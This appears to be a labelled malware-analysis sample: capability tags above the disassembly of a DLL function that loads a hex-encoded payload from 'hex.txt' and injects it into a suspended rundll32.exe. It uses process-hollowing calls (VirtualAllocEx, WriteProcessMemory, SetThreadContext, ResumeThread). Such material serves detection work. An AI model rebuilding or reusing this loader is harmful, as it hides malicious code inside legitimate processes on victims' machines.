Function at 0x18001d940
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
jmp 0x18001d940
push rbp
push rdi
sub rsp, 0xdb8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x26a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x1801f2034]
call fcn.180006343
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, str.hex.txt
lea rcx, [rbp + 0x10]
call fcn.180005c59
nop
lea rcx, [rbp + 0x10]
call fcn.180001271
movzx eax, al
test eax, eax
jne 0x18001d9d8
mov r8d, 0x10
lea rdx, str.Error
lea rcx, str.Error_opening_file.
call fcn.180001fd2
mov dword [rbp + 0xcc4], 1
lea rcx, [rbp + 0x10]
call fcn.180001d07
mov eax, dword [rbp + 0xcc4]
jmp 0x18001dd46
mov edx, 1
lea rcx, [rbp + 0x140]
call fcn.1800054ac
nop
lea rcx, [rbp + 0x10]
call fcn.180001334
lea rcx, [rbp + 0x150]
mov rdx, rax
call fcn.180002789
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0x140]
call fcn.180005d6c
nop
lea rcx, [rbp + 0x10]
call fcn.180003d78
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0x298]
call fcn.180004859
nop
lea rcx, [rbp + 0x298]
call fcn.180003369
mov qword [rbp + 0x2d8], rax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, qword [rbp + 0x2d8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x2f8], rax
cmp qword [rbp + 0x2f8], 0
jne 0x18001dad0
mov r8d, 0x10
lea rdx, str.Error
lea rcx, str.Error_allocating_memory.
call fcn.180001fd2
mov dword [rbp + 0xce4], 2
lea rcx, [rbp + 0x298]
call fcn.18000292d
nop
lea rcx, [rbp + 0x258]
call fcn.180001f73
nop
lea rcx, [rbp + 0x140]
call fcn.180001e6a
nop
lea rcx, [rbp + 0x10]
call fcn.180001d07
mov eax, dword [rbp + 0xce4]
jmp 0x18001dd46
lea rcx, [rbp + 0x298]
call fcn.180006ac8
mov r8, qword [rbp + 0x2d8]
mov rdx, rax
mov rcx, qword [rbp + 0x2f8]
call fcn.1800037fb
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x320]
call fcn.180004dd6
mov dword [rbp + 0x320], 0x68
lea rax, [rbp + 0x3a8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x320]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.rundll32.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0x8c4], eax
cmp dword [rbp + 0x8c4], 0
jne 0x18001dbcc
mov r8d, 0x10
lea rdx, str.Error
lea rcx, str.Error_creating_process.
call fcn.180001fd2
mov dword [rbp + 0xd04], 3
lea rcx, [rbp + 0x298]
call fcn.18000292d
nop
lea rcx, [rbp + 0x258]
call fcn.180001f73
nop
lea rcx, [rbp + 0x140]
call fcn.180001e6a
nop
lea rcx, [rbp + 0x10]
call fcn.180001d07
mov eax, dword [rbp + 0xd04]
jmp 0x18001dd46
mov dword [rbp + 0x410], 0x10000b
lea rdx, [rbp + 0x3e0]
mov rcx, qword [rbp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp + 0x2d8]
xor edx, edx
mov rcx, qword [rbp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x8e8], rax
cmp qword [rbp + 0x8e8], 0
jne 0x18001dc7d
mov r8d, 0x10
lea rdx, str.Error
lea rcx, str.Error_allocating_memory_in_the_remote_process.
call fcn.180001fd2
mov dword [rbp + 0xd24], 4
lea rcx, [rbp + 0x298]
call fcn.18000292d
nop
lea rcx, [rbp + 0x258]
call fcn.180001f73
nop
lea rcx, [rbp + 0x140]
call fcn.180001e6a
nop
lea rcx, [rbp + 0x10]
call fcn.180001d07
mov eax, dword [rbp + 0xd24]
jmp 0x18001dd46
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x2d8]
mov r8, qword [rbp + 0x2f8]
mov rdx, qword [rbp + 0x8e8]
mov rcx, qword [rbp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rbp + 0x8e8]
mov qword [rbp + 0x4d8], rax
lea rdx, [rbp + 0x3e0]
mov rcx, qword [rbp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x2f8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [rbp + 0xd44], 0
lea rcx, [rbp + 0x298]
call fcn.18000292d
nop
lea rcx, [rbp + 0x258]
call fcn.180001f73
nop
lea rcx, [rbp + 0x140]
call fcn.180001e6a
nop
lea rcx, [rbp + 0x10]
call fcn.180001d07
mov eax, dword [rbp + 0xd44]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x180188e60]
call fcn.18000547a
mov rax, rdi
lea rsp, [rbp + 0xd68]
pop rdi
pop rbp
ret